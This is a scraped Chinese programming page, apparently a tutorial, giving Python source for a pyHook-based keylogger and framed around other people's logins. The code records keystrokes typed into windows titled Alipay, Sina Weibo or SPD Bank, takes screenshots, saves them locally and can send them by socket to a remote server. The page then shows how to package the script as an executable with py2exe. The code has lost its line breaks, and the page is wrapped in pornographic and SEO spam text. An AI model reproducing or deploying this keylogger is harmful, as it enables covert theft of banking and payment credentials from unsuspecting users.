国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

Python利用pyHook實現監聽用戶鼠標與鍵盤事件

2020-02-23 05:42:44
字體:
來源:轉載
供稿:網友

本文以一段簡單的監聽鼠標、鍵盤事件的程序,實現獲取用戶的輸入(比如登錄某些網站的賬號、密碼)的功能。經測試,對于一臺“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實現方法如下:

一、代碼部分:獲取用戶輸入信息,并與截圖一起保存到XX目錄下

# -*- coding: utf-8 -*- # import pythoncom import pyHook  import timeimport socketfrom PIL import ImageGrab##如果是遠程監聽某個目標電腦,可以自己架設一個服務器,然后將獲取到的信息發回給服務器#def send_msg_to_server(msg):  host=""  port=1234  buf_size=1024  addr=(host,port)  if len(msg)>0:    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    tcp_client_sock.connect(addr)    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'    tcp_client_sock.sendall(info+msg)    tcp_client_sock.close()    ##也可以將獲取到的信息保存到本地文件下#def write_msg_to_txt(msg):    f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')  f.write(msg+'/r/n')  f.close()def onMouseEvent(event):   # 監聽鼠標事件     global MSG  if len(MSG)!=0:        #send_msg_to_server(MSG)    write_msg_to_txt(MSG)    MSG=''    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))    #將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發送到自己的服務器)    pic = ImageGrab.grab()    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)  return True def onKeyboardEvent(event):  #監聽鍵盤事件  global MSG  title= event.WindowName.decode('GBK')  #通過網站title,判斷當前網站是否是“監聽目標”  if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發銀行')!=-1:    #Ascii: 8-Backspace , 9-Tab ,13-Enter     if (127 >= event.Ascii > 31) or (event.Ascii == 8):      MSG += chr(event.Ascii)            if (event.Ascii == 9) or (event.Ascii == 13):            #send_msg_to_remote(MSG)      write_msg_to_txt(MSG)      MSG = ''       #屏幕抓圖實現      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))      pic = ImageGrab.grab()      #保存成為以日期命名的圖片      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)  return True  if __name__ == "__main__":     MSG = ''    #創建hook句柄  hm = pyHook.HookManager()  #監控鼠標  hm.SubscribeMouseLeftDown(onMouseEvent)  hm.HookMouse()  #監控鍵盤  hm.KeyDown = onKeyboardEvent  hm.HookKeyboard()  #循環獲取消息  pythoncom.PumpMessages() 

二、用py2exe將腳本打包:

新建一個py文件setup.py,內容如下:

from distutils.core import setupimport py2exesetup(console=["monitor.py"])#setup(windows=["monitor.py"])
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 屯留县| 陆川县| 忻城县| 滨海县| 呼玛县| 中江县| 太保市| 冷水江市| 汾阳市| 安丘市| 大方县| 惠东县| 阳东县| 长乐市| 井陉县| 双鸭山市| 溧阳市| 岢岚县| 南澳县| 澄城县| 湛江市| 玉田县| 林周县| 神池县| 同心县| 霍林郭勒市| 太仓市| 承德县| 民勤县| 和硕县| 咸阳市| 蒲城县| 东海县| 三亚市| 万年县| 广元市| 武穴市| 明溪县| 侯马市| 大渡口区| 永德县|